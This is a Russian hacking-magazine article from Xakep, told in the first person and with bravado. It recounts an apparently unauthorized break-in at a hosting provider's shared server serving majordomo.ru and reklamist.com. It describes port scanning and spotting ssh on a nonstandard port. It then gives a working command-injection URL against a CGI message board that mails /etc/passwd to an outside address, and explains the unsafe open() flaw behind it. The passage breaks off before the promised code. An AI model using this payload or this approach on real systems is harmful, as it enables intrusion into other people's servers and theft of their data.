
Урок для глупого хостера
Xakep, номер #030, стр. 030-050-2
я обнаружил, что хосты majordomo.ru и reklamist.com имеют одинаковые IP, из чего получалось, что работала система vhosts - виртуальные хосты. Т. е. все клиенты Мажорского (по крайней мере, их часть) висели на одном физическом серваке - и это радовало :). Радовало на данном этапе хотя бы тем, что не было необходимости сканить порты в огромном диапазоне: достаточно было обработать лишь один IP.
Сканер к бою!
Решено было сканить на все известные сервисы (~2500 портов). Пока шло изучение местности, я не спеша допил пиво и взял следующую бутылку. Nmap, о котором ты можешь прочесть в этом же номере, конечно, сделал бы это гораздо быстрее, но относительная неспешность моего сканера давала возможность поразмыслить :). Открытыми оказались следующие порты:
21 TCP FTP
25 TCP SMTP
53 TCP DOMAIN
80 TCP HTTP
110 TCP POP3
1022 TCP ???
Я стал телнетиться на каждый из этих портов по очереди. На 21 порту был ProFTP 1.2.0pre10 - эксплоита для которого не было с 25, 53, 80 и 110. Все было ясно, как божий день. Однако 1022-й меня интересовал больше остальных. Сама цифра 1022 вызывала интерес, ведь на 22 порту у нормальных людей ssh, которого здесь не было - чуешь, чем пахнет? Кидаю коннект к этому порту, и верно - там ssh 2.0, который впоследствии очень пригодится. С демонами облом - ловить там нечего, но зато я собрал массу полезной информации на перспективу :).
Заканчивалась третья бутылка, а результата толком не было! Оставалось изучить cgi'ки клиентов. Единственным пока известным мне клиентом был сам reklamist.com, его я и начал рыть.
CGI из ПНД
У жертвы выявилась бесполезная рассылка, борда и еще какие-то мелкие скрипты. Естественно, сразу заинтересовала борда... Ты, конечно, подумал, что там оказалась трахнутая во все порты UBB? И на фиг я тебе все это тут тележил так долго, гиббон я мохнатый и все такое? Нет, малыш, там все более запущено оказалось :). Это не была одна из свободно распространяемых досок, видимо, ее кто-то сам писал. Я не знаю, о чем думал этот горе-программер в момент написания своего творения, но при желании через него (творение) можно было процеживать макароны - настолько дырявым оно оказалось. Я просто увидел урлы, указывающие на темы обсуждений, выглядевшие примерно так:
http://reklamist.com/cgi-bin/board.cgi?action=read&theme=2345.txt
Эта оригинальность мне понравилась, было решено испытать на прочность, и исправленный урл, заимел следующий вид:
http://reklamist.com/cgi-bin/board.cgi?action=read&theme=cat /etc/passwd|mail hacker@nitrogear.org|
Не прошло и минуты, как мне в мыло упал файл паролей. Конечно, как ты сам понимаешь, паролями там и не пахло - они были оттенены в shadow. Но даже если мне удалось бы достать и его, то на расшифровку ушла бы уйма времени. Здесь необходимо пояснить немного. Дело в том, что когда видишь такой урл, трудно не понять: главное содержимое дискуссии берется из файла 2345.txt, а затем уже запихивается в html. Следовательно, в коде использовалась процедура open() для открытия этого текстовика. А неправильное использование сего всегда влечет за собой возможность исполнения команд. Код был примерно таким: